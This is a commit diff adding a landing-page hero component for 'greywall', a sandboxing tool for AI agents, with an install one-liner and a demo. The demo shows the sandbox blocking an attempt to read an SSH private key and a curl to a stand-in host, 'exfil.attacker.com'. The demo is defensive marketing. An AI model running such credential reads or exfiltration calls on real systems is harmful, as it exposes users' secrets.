feat: landing page mvp

components/hero.tsx

@@ -0,0 +1,103 @@
+'use client'
+
+import { useState } from 'react'
+import { Copy, Check, Terminal } from 'lucide-react'
+
+export function Hero() {
+  const [copied, setCopied] = useState(false)
+
+  const installCmd = 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh'
+
+  function copyInstall() {
+    navigator.clipboard.writeText(installCmd)
+    setCopied(true)
+    setTimeout(() => setCopied(false), 2000)
+  }
+
+  return (
+    <section className="relative pt-32 pb-24 px-6 overflow-hidden">
+      {/* Subtle background gradient */}
+      <div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
+      {/* Grid pattern */}
+      <div
+        className="absolute inset-0 opacity-[0.03]"
+        style={{
+          backgroundImage:
+            'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
+          backgroundSize: '64px 64px',
+        }}
+      />
+
+      <div className="relative mx-auto max-w-3xl text-center">
+        <div className="inline-flex items-center gap-2 px-3 py-1 mb-8 rounded-full border border-border/60 bg-card/50 text-xs text-muted-foreground font-sans">
+          <span className="inline-block w-1.5 h-1.5 rounded-full bg-primary animate-pulse" />
+          Container-free sandboxing for AI agents
+        </div>
+
+        <h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
+          Constrain your agents.
+          <br />
+          <span className="text-primary">Know what they touch.</span>
+        </h1>
+
+        <p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto mb-10 font-serif">
+          OS-native, default-deny sandboxing with real-time visibility into every
+          file access and network call. No containers. One command.
+        </p>
+
+        {/* Install command */}
+        <div className="mx-auto max-w-5xl">
+          <div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4">
+            <code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
+              <span className="text-muted-foreground">$ </span>
+              {installCmd}
+            </code>
+            <button
+              onClick={copyInstall}
+              className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"
+              title="Copy to clipboard"
+            >
+              {copied ? (
+                <Check className="h-4 w-4 text-primary" />
+              ) : (
+                <Copy className="h-4 w-4" />
+              )}
+            </button>
+          </div>
+        </div>
+
+        {/* Quick proof */}
+        <div className="mt-12 mx-auto max-w-2xl">
+          <div className="code-block p-5 text-left">
+            <div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
+              Kernel-enforced isolation
+            </div>
+            <div className="space-y-2 font-mono text-sm">
+              <div>
+                <span className="text-muted-foreground">$ </span>
+                <span className="text-greyhaven-offwhite">greywall -- cat ~/.ssh/id_ed25519</span>
+              </div>
+              <div className="text-red-400/90">
+                cat: /home/user/.ssh/id_ed25519: Operation not permitted
+              </div>
+              <div className="mt-3">
+                <span className="text-muted-foreground">$ </span>
+                <span className="text-greyhaven-offwhite">greywall -- curl https://exfil.attacker.com</span>
+              </div>
+              <div className="text-red-400/90">
+                curl: (7) Failed to connect: Connection refused
+              </div>
+              <div className="mt-3">
+                <span className="text-muted-foreground">$ </span>
+                <span className="text-greyhaven-offwhite">greywall -- ls ./my-project/</span>
+              </div>
+              <div className="text-green-400/80">
+                src/  package.json  README.md  tsconfig.json
+              </div>
+            </div>
+          </div>
+        </div>
+      </div>
+    </section>
+  )
+}